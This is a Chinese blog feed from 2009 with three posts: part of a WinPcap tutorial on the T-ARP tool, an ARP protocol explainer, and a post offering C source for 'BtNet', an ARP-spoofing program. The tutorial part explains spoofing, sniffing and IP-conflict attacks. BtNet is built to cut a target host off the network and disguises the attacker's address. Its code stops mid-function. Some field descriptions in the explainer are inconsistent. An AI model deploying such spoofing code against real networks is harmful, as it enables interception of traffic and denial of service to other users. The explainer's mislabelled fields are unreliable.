<p><font size=2>&nbsp;&nbsp;&nbsp; 11&gt; BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 从NPF驱动程序读取网络数据报及统计信息。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 12&gt; BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 发送一个或多个数据报的副本。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 13&gt; BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置捕获数据报的内核级缓冲区大小。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 14&gt; BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为接收到的数据报设置硬件过滤规则。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以下为一些典型的过滤规则：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 15&gt; BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 16&gt; BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 设置在接收到一个数据报后&#8220;休息&#8221;的时间。<br>&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; 以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： <a href="http://winpcap.polito.it/"><u><font color=#0000ff>http://winpcap.polito.it</font></u></a></font></p>
<p><font size=2>三）T-ARP功能及原理介绍<br>&nbsp;&nbsp;&nbsp; 准备工作：&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：<br>　　&nbsp; 　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 选项:&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m&nbsp; 主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -a&nbsp; 反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s&nbsp; ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r&nbsp; 重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 原理及实现过程：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -m&nbsp; 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -a&nbsp; 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -r&nbsp; 在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>四）T-ARP主要代码分析<br>&nbsp;&nbsp;&nbsp; 1&gt; 自定义函数：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int getmine()&nbsp;&nbsp;&nbsp; //发送ARP Request数据报，请求获得本地主机的mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void getdata(LPPACKET lp,int op)&nbsp; //分类处理接收到的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sniff(LPVOID no)&nbsp;&nbsp;&nbsp;&nbsp; //将网络适配器设置为混杂模式，接收所有流过的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sendMASR(LPVOID no)&nbsp; //发送ARP Request数据报，请求获得指定ip的mac地址；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD WINAPI sendSR(LPVOID no)&nbsp;&nbsp;&nbsp; //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; 2&gt; 主要代码分析<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\nLibarary Version: %s",PacketGetVersion());&nbsp; //输出dll的版本信息；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)&nbsp; //获得本地主机的网络适配器列表和描述；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lpadapter=PacketOpenAdapter(adapterlist[open-1]);&nbsp; //打开指定的网络适配器；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetNetType(lpadapter,&amp;ntype)&nbsp; //获得网络适配器的MAC类型；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen)&nbsp; //获得指定网络适配器的相关信息；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);&nbsp; //创建一个新线程来监听网络数据报；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)&nbsp; //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetBuff(lpadapter,500*1024)&nbsp; //自定义网络适配器的内核缓的大小为 500*1024；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetReadTimeout(lpadapter,1)&nbsp; //设置接收一个数据报后等待的时间为1毫秒；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketReceivePacket(lpadapter,lppacketr,TRUE)&nbsp; //在设置为混杂模式后，接收所有的数据报；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);&nbsp; //创建一个新线程发送特定的ARP数据报</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSetNumWrites(lpadapter,2)&nbsp; //在发送一个数据报时，重复发送两次；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketSendPacket(lpadapter,lppackets,TRUE)&nbsp; //发送自定义数据报；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WaitForSingleObject(sthread,INFINITE);&nbsp; //等待发送ARP数据报的线程结束；</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PacketGetStats(lpadapter,&amp;stat)&nbsp; //获得网络适配器的统计信息；</font></p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76068.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:05 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76068.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP协议详解</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76067.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:01:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76067.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76067.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76067.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76067.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76067.html</trackback:ping><description><![CDATA[<p><strong>一、ARP协议简介</strong></p>
<p>ARP，全称Address Resolution Protocol，中文名为地址解析协议，它工作在数据链路层，在本层和硬件接口联系，同时对上层提供服务。</p>
<p>IP数据包常通过以太网发送，以太网设备并不识别32位IP地址，它们是以48位以太网地址传输以太网数据包。因此，必须把IP目的地址转换成以太网目的地址。在以太网中，一个主机要和另一个主机进行直接通信，必须要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢？它就是通过地址解析协议获得的。ARP协议用于将网络中的IP地址解析为的硬件地址（MAC地址），以保证通信的顺利进行。</p>
<p>1. ARP和RARP报头结构</p>
<p>ARP和RARP使用相同的报头结构，如图1所示。</p>
<p align=center><img class=fit-image style="WIDTH: 592px; ZOOM: 90%; HEIGHT: 218px" height=179 src="http://netsecurity.51cto.com/files/uploadimg/20060727/1712100.gif" width=536 border=0></p>
<p align=center>（图1　ARP/RARP报头结构）</p>
<p>硬件类型字段：指明了发送方想知道的硬件接口类型，以太网的值为1；</p>
<p>协议类型字段：指明了发送方提供的高层协议类型，IP为0800（16进制）；<br>硬件地址长度和协议长度：指明了硬件地址和高层协议地址的长度，这样ARP报文就可以在任意硬件和任意协议的网络中使用；</p>
<p>操作字段：用来表示这个报文的类型，ARP请求为1，ARP响应为2，RARP请求为3，RARP响应为4；</p>
<p>发送方的硬件地址（0-3字节）：源主机硬件地址的前3个字节；</p>
<p>发送方的硬件地址（4-5字节）：源主机硬件地址的后3个字节；</p>
<p>发送方IP（0-1字节）：源主机硬件地址的前2个字节；</p>
<p>发送方IP（2-3字节）：源主机硬件地址的后2个字节；</p>
<p>目的硬件地址（0-1字节）：目的主机硬件地址的前2个字节；</p>
<p>目的硬件地址（2-5字节）：目的主机硬件地址的后4个字节；</p>
<p>目的IP（0-3字节）：目的主机的IP地址。</p>
<p>用c描述:</p>
<p>typedef struct arphdr //arp头 <br>{ <br>unsigned short arp_hdr; //硬件类型 <br>unsigned short arp_pro; //协议类型 <br>unsigned char arp_hln; //硬件地址长度 <br>unsigned char arp_pln; //协议地址长度 <br>unsigned short arp_opt; // <br>unsigned char arp_sha[6]; //发送端以太网地址 <br>unsigned long arp_spa; //发送端ip地址 <br>unsigned char arp_tha[6]; //接收端以太网地址 <br>unsigned long arp_tpa; //接收端ip地址 <br>}ARPHDR,*PARPHDR;</p>
<p>2. ARP和RARP的工作原理</p>
<p>ARP的工作原理如下：</p>
<p>1. 首先，每台主机都会在自己的ARP缓冲区 (ARP Cache)中建立一个 ARP列表，以表示IP地址和MAC地址的对应关系。</p>
<p>2. 当源主机需要将一个数据包要发送到目的主机时，会首先检查自己 ARP列表中是否存在该 IP地址对应的MAC地址，如果有﹐就直接将数据包发送到这个MAC地址；如果没有，就向本地网段发起一个ARP请求的广播包，查询此目的主机对应的MAC地址。此ARP请求数据包里包括源主机的IP地址、硬件地址、以及目的主机的IP地址。</p>
<p>3. 网络中所有的主机收到这个ARP请求后，会检查数据包中的目的IP是否和自己的IP地址一致。如果不相同就忽略此数据包；如果相同，该主机首先将发送端的MAC地址和IP地址添加到自己的ARP列表中，如果ARP表中已经存在该IP的信息，则将其覆盖，然后给源主机发送一个 ARP响应数据包，告诉对方自己是它需要查找的MAC地址； <br>4.&nbsp;&nbsp; 源主机收到这个ARP响应数据包后，将得到的目的主机的IP地址和MAC地址添加到自己的ARP列表中，并利用此信息开始数据的传输。如果源主机一直没有收到ARP响应数据包，表示ARP查询失败。</p>
<p>RARP的工作原理：</p>
<p>1. 发送主机发送一个本地的RARP广播，在此广播包中，声明自己的MAC地址并且请求任何收到此请求的RARP服务器分配一个IP地址；</p>
<p>2. 本地网段上的RARP服务器收到此请求后，检查其RARP列表，查找该MAC地址对应的IP地址；</p>
<p>3. 如果存在，RARP服务器就给源主机发送一个响应数据包并将此IP地址提供给对方主机使用；</p>
<p>4. 如果不存在，RARP服务器对此不做任何的响应；</p>
<p>5. 源主机收到从RARP服务器的响应信息，就利用得到的IP地址进行通讯；如果一直没有收到RARP服务器的响应信息，表示初始化失败。</p>
<p><strong>二、解码详解</strong></p>
<p>了解了ARP和RARP协议的报头结构和工作原理后，我们使用科来网络分析系统抓取ARP包，其详细解码，如图2，</p>
<p align=center></p>
<p align=center></p>
<div forimg="1"><img class=blogimg height=510 src="http://hiphotos.baidu.com/369109971/pic/item/e4179aec34fddbc42f2e212e.jpg" width=641 border=0 small="0"></div>
<p align=center>（图2　科来网络分析系统中ARP请求包详细解码）</p>
<p>图2显示是一个ARP的请求包的解码，下面我们来详细说明：</p>
<p>硬件类型：1，表示硬件借口类型为以太网类型</p>
<p>协议类型：0x0800，表示发送方提供的高层协议类型是IP</p>
<p>硬件地址长度：表示硬件地址长度为6字节=48位</p>
<p>协议地址长度：表示IP地址长度为4字节=32位</p>
<p>操作类型：1，表示ARP请求</p>
<p>源物理地址：00:14:85:CA:F5:22</p>
<p>源IP地址：192.168.0.92</p>
<p>目标物理地址：00:00:00:00:00:00</p>
<p>目标IP地址：192.168.0.208</p>
<p>ARP回应包和RARP的包类似，我们在这里就不再重复说明。</p>
<img src ="http://www.cppblog.com/binghuo/aggbug/76067.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:01 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76067.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>基于ARP欺骗的网络攻击程序源码</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76066.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Mon, 09 Mar 2009 23:58:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76066.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76066.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76066.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76066.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76066.html</trackback:ping><description><![CDATA[<p>关键字： <a href="http://tech.ddvip.com/search.php?key=" target=_blank></a><a href="http://tech.ddvip.com/search.php?key=防范ARP攻击" target=_blank><u><font color=#0000ff>防范ARP攻击</font></u></a> <a href="http://tech.ddvip.com/search.php?key=优化网络" target=_blank><u><font color=#0000ff>优化网络</font></u></a> <a href="http://tech.ddvip.com/search.php?key=Sniffer" target=_blank><u><font color=#0000ff>Sniffer</font></u></a> <a href="http://tech.ddvip.com/search.php?key=ARP攻击原理" target=_blank><u><font color=#0000ff>ARP攻击原理</font></u></a> <a href="http://tech.ddvip.com/search.php?key=ARP攻击" target=_blank><u><font color=#0000ff>ARP攻击</font></u></a></p>
<p>内容摘要：一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址，源MAC地址却改为自己的MAC地址。我们把发送给A的arp数据报的源IP,源MAC更改成任意的，会出现什么现象？下面是我的几个测试</p>
<p>最近开始学WINPCAP，看了很多高手写的基于arp欺骗的抓包工具，尤其是电子科大的TOo2y师兄的《详谈调用winpcap驱动写arp多功能工具》，令我收益非浅。下面是我把这个思想改成arp攻击程序(可令目标<nobr oncontextmenu="return false" onmousemove=kwM(1) id=clickeyekey1 onmouseover="kwE(event,1, this)" style="COLOR: #6600ff; BORDER-BOTTOM: #6600ff 1px dotted; BACKGROUND-COLOR: transparent; TEXT-DECORATION: underline" onclick='kwC(event,1,"")' onmouseout=kwL(event,this)>主机</nobr>断开网络连接)的一些测试。高手请略过，以免有班门弄斧之闲。 </clk></p>
<p><clk>　　一般的arp spoof是向被欺骗主机发送ARP REPLY数据报,把其中的源IP地址置为被欺骗主机要发包去的主机地址，源MAC地址却改为自己的MAC地址。假设有两台机器A,B，发送一个ARP REPLY数据报给A,其中源IP地址为B的地址,源MAC地址为我的机器的MAC地址(IPRouter功能打开确保数据被转发)，那么A发送到B的数据报就发到我的机器上了，同样对B做相同到<nobr oncontextmenu="return false" onmousemove=kwM(0) id=clickeyekey0 onmouseover="kwE(event,0, this)" style="COLOR: #6600ff; BORDER-BOTTOM: #6600ff 1px dotted; BACKGROUND-COLOR: transparent; TEXT-DECORATION: underline" onclick='kwC(event,0,"")' onmouseout=kwL(event,this)>操作</nobr>，那么A&lt;==&gt;B之间的数据就会源源不断的通过我的机器转发，直到一个正常的ARP包更改了A,B的arp缓存为止。</clk></p>
<p>　　那么我们把发送给A的arp数据报的源IP,源MAC更改成任意的，会出现什么现象？下面是我的几个测试</p>
<p>　　1. 源IP更改为网关IP,源MAC改为不存在的MAC地址</p>
<p>　　对目标主机几乎不影响</p>
<p>　　2. 源IP更改为网关IP,源MAC改为内网内任意一台存在但没有开启IPRouter的主机的MAC地址</p>
<p>　　几乎不影响</p>
<p>　　3. 源IP更改为网关IP,源MAC改为目标主机的MAC</p>
<p>　　目标主机立刻断网!</p>
<p>　　可见当发送经过我们构造的ARP REALY包给目标主机时,会使目标主机的ARP缓存更改，数据封装到MAC层的时候会把网关的IP和自己的MAC地址封装到一起，那么发送到网关的数据报只好发给自己了，呵呵。</p>
<p>　　至于第1种情况，猜想大概是由于MAC地址不存在,目标主机会广播一个ARP REQUEST包而更新了自己的ARP缓存所致。</p>
<p>　　至于第2种情况，猜想源MAC地址所属主机会返回一个ARP REPLY给目标主机。</p>
<p>　　水平有限，所以只是猜想，知道的请告诉我一声，先谢过了。再说一下，以上测试只对于windows系统，当然也测试过对没有配置好的Red Hat成功过。</p>
<p><clk>　　测试<nobr oncontextmenu="return false" onmousemove=kwM(1) id=clickeyekey1 onmouseover="kwE(event,1, this)" style="COLOR: #6600ff; BORDER-BOTTOM: #6600ff 1px dotted; BACKGROUND-COLOR: transparent; TEXT-DECORATION: underline" onclick='kwC(event,1,"")' onmouseout=kwL(event,this)>程序</nobr>(BtNet.exe)说明：</clk></p>
<p>　　Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]</p>
<p><clk>　　-m参数是你要修改的源MAC<nobr oncontextmenu="return false" onmousemove=kwM(0) id=clickeyekey0 onmouseover="kwE(event,0, this)" style="COLOR: #6600ff; BORDER-BOTTOM: #6600ff 1px dotted; BACKGROUND-COLOR: transparent; TEXT-DECORATION: underline" onclick='kwC(event,0,"")' onmouseout=kwL(event,this)>地址</nobr>.</clk></p>
<p>　　为了隐蔽攻击者身份，程序再得到目标主机MAC地址时伪装成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5，可能会得不到目标主机的MAC地址，那么要得到MAC地址请借助第三方工具。</p>
<p>　　附测试程序代码 </p>
<p><code>#include "packet32.h"<br>#include "ntddndis.h"<br>#include<br>#include<br>#include<br>#include<br>#pragma comment(lib,"ws2_32")<br>#pragma comment(lib,"packet")<br>#define ETH_IP 0x0800<br>#define ETH_ARP 0x0806<br>#define ARP_REQUEST 0x0001 //arp请求包<br>#define ARP_REPLY 0x0002 //arp应答包<br>#define ARP_HARDWARE 0x0001<br>#define max_num_adapter 10<br>#pragma pack(push,1)<br>typedef struct ethdr<br>{<br>unsigned char eh_dst[6]; //以太网目的地址<br>unsigned char eh_src[6]; //以太网源地址<br>unsigned short eh_type; //<br>}ETHDR,*PETHDR;<br>typedef struct arphdr //arp头<br>{<br>unsigned short arp_hdr; //硬件类型<br>unsigned short arp_pro; //协议类型<br>unsigned char arp_hln; //硬件地址长度<br>unsigned char arp_pln; //协议地址长度<br>unsigned short arp_opt; //<br>unsigned char arp_sha[6]; //发送端以太网地址<br>unsigned long arp_spa; //发送端ip地址<br>unsigned char arp_tha[6]; //接收端以太网地址<br>unsigned long arp_tpa; //接收端ip地址<br>}ARPHDR,*PARPHDR;<br>typedef struct ip_mac<br>{<br>u_long ip;<br>unsigned char mac[6];<br>}IP_MAC,*PIP_MAC;<br>#pragma pack(push)<br>LPADAPTER lpAdapter;<br>char adapterlist[max_num_adapter][1024];<br>IP_MAC toipandmac;<br>IP_MAC oipandmac,myipandmac;<br>BOOL param6=FALSE;<br>char *noMACstr;<br>char noMAC[6][3];<br>u_long mytoIP,oIP;<br>BOOL sendtoOip;<br>MSG msg;<br>UINT newtimer;<br>char MYIP[20]="128.128.128.128";<br>BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE;<br>int getint(char c)<br>{<br>int t=-1;<br>if((c&lt;='9')&amp;&amp;(c&gt;='0'))<br>t=c-'0';<br>else if((c&gt;='a')&amp;&amp;(c&lt;='f'))<br>t=10+c-'a';<br>else if((c&gt;='A')&amp;&amp;(c&lt;='F'))<br>t=10+c-'A';<br>return t;<br>}<br>void start()<br>{<br>printf("BtNet //--an ARP Tool test the Windows Break the Internetn");<br>printf("written by Ruder,10/2003n");<br>printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n");<br>printf("E-mail: cocoruder@163.comn");<br>printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n");<br>printf("Example:n");<br>printf("BtNet -h 202.115.138.12 -o 202.115.138.1n");<br>printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn");<br>printf(" Warning: You must have installed the winpcap_2.3 or<br>winpcap_3.0_alphan");<br>return ;<br>}<br>DWORD WINAPI sniff(LPVOID)<br>{<br>LPPACKET lppackets,lpPacketr;<br>char recvbuf[1024*250];<br>ULONG ulbytesreceived,off;<br>ETHDR *eth;<br>ARPHDR *arp;<br>char *buf,*pChar,*base;<br>char szTemp[20];<br>struct bpf_hdr *hdr;<br>if((lppackets=PacketAllocatePacket())==FALSE)<br>{<br>printf("PacketAllocatePacket send Error: %dn",GetLastError());<br>return 0;<br>}<br>if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br>{<br>printf("Warning: Unable to set the adapter to promiscuous moden");<br>}<br>if(PacketSetBuff(lpAdapter,500*1024)==FALSE)<br>{<br>printf("PacketSetBuff Error: %dn",GetLastError());<br>return 0;<br>}<br>if(PacketSetReadTimeout(lpAdapter,1)==FALSE)<br>{<br>printf("Warning: Unable to set the timeoutn");<br>}<br>if((lpPacketr=PacketAllocatePacket())==FALSE)<br>{<br>printf("PacketAllocatePacket receive Error: %dn",GetLastError());<br>return 0;<br>}<br>PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf));<br>while(!kbhit())<br>{<br>if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE)<br>{<br>return 0;<br>}<br>//getdata(lppacketr,option);<br>ulbytesreceived=lpPacketr-&gt;ulBytesReceived;<br>buf=(char *)lpPacketr-&gt;Buffer;<br>off=0;<br>while(off{<br>if(kbhit())<br>{<br>return 0;<br>}<br>hdr=(struct bpf_hdr *)(buf+off);<br>off+=hdr-&gt;bh_hdrlen;<br>pChar=(char *)(buf+off);<br>base=pChar;<br>off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);<br>eth=(PETHDR)pChar; //以太头<br>arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp头<br>int i;<br>if((eth-&gt;eh_type==htons(ETH_ARP))&amp;&amp;<br>(arp-&gt;arp_opt==htons(ARP_REPLY)))<br>{<br>//if (arp-&gt;arp_tpa==htonl(ntohl(inet_addr(MYIP))))<br>{<br>if(oipandmac_flag&amp;&amp;myipandmac_flag&amp;&amp;toipandmac_flag)<br>return 0;<br>if 